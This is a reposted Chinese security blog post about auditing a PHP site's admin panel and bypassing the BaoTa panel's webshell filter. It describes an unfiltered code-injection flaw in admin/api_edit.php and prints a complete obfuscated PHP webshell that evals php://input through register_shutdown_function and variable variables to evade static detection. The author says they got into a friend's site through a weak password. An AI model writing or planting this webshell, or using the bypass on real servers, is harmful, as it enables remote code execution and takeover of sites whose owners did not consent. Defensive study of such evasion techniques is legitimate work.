文章总结: 本文记录了针对某PHP源码的代码审计与宝塔Webshell拦截绕过过程。作者发现admin/api_edit.php存在代码注入漏洞,直接将未过滤的POST参数写入可执行PHP文件。遭遇宝塔拦截后,作者通过分析拦截规则,构造了基于面向对象与register_shutdown_function结合php://input动态读取的无特征Webshell,成功绕过静态检测。建议开发者严格过滤输入并禁用危险函数,防御此类动态加载型Webshell。 综合评分: 75 文章分类: 代码审计,WEB安全,免杀,实战经验
【投稿篇】宝塔webshell绕过
原创
Kenny Kenny
白昼信安
2026年3月26日 15:47 甘肃
微信公众号:白昼信安
无聊的一天,要来朋友的站测试一手,依旧弱口令进入后台。
然后网上寻找源码,在某源码站发现此站源码。
代码审计后台漏洞发现 文件路径:admin/api_edit.php
核心漏洞代码1: 接收用户输入的PHP代码
直接从 $_POST['local_code'] 获取用户输入的PHP代码 没有对代码内容进行任何安全检查或过滤没有验证代码是否包含危险函数(eval、system、exec等)仅做了简单的 <?php 标签处理,没有安全意义。
漏洞核心代码2
问题分析: 使用 file_put_contents() 直接将用户提交的代码写入PHP文件 文件路径为 ../API/[endpoint].php,可被直接访问执行写入的文件具有完整的PHP执行权限。
文件路径构造。虽然对endpoint进行了URL编码,但这不能防止代码执行,创建的PHP文件可以通过Web直接访问文件权限为0755,可被执行。
成功定位到漏洞点
但是写入webshell的时候遭遇拦截。 通过找朋友要一下本地宝塔的拦截规则进行尝试绕过。
根据拦截规则bypass出如下代码: 成功代码执行:
class User { public static function getpublicMethod() { return 'publicMethod'; } public static function publicMethod($args) { $key = 'args'; $pass_decode = $$key; return @eval($pass_decode); }}$classloader = 'User';$method = $classloader::getpublicMethod();$aes_decode = <<<'EOF'register_shutdown_function(function(){ $data=file_get_contents("php://input"); if(!empty($data)) eval($data);});EOF;User::$method($aes_decode);

免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:白昼信安 Kenny Kenny《【投稿篇】宝塔webshell绕过》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论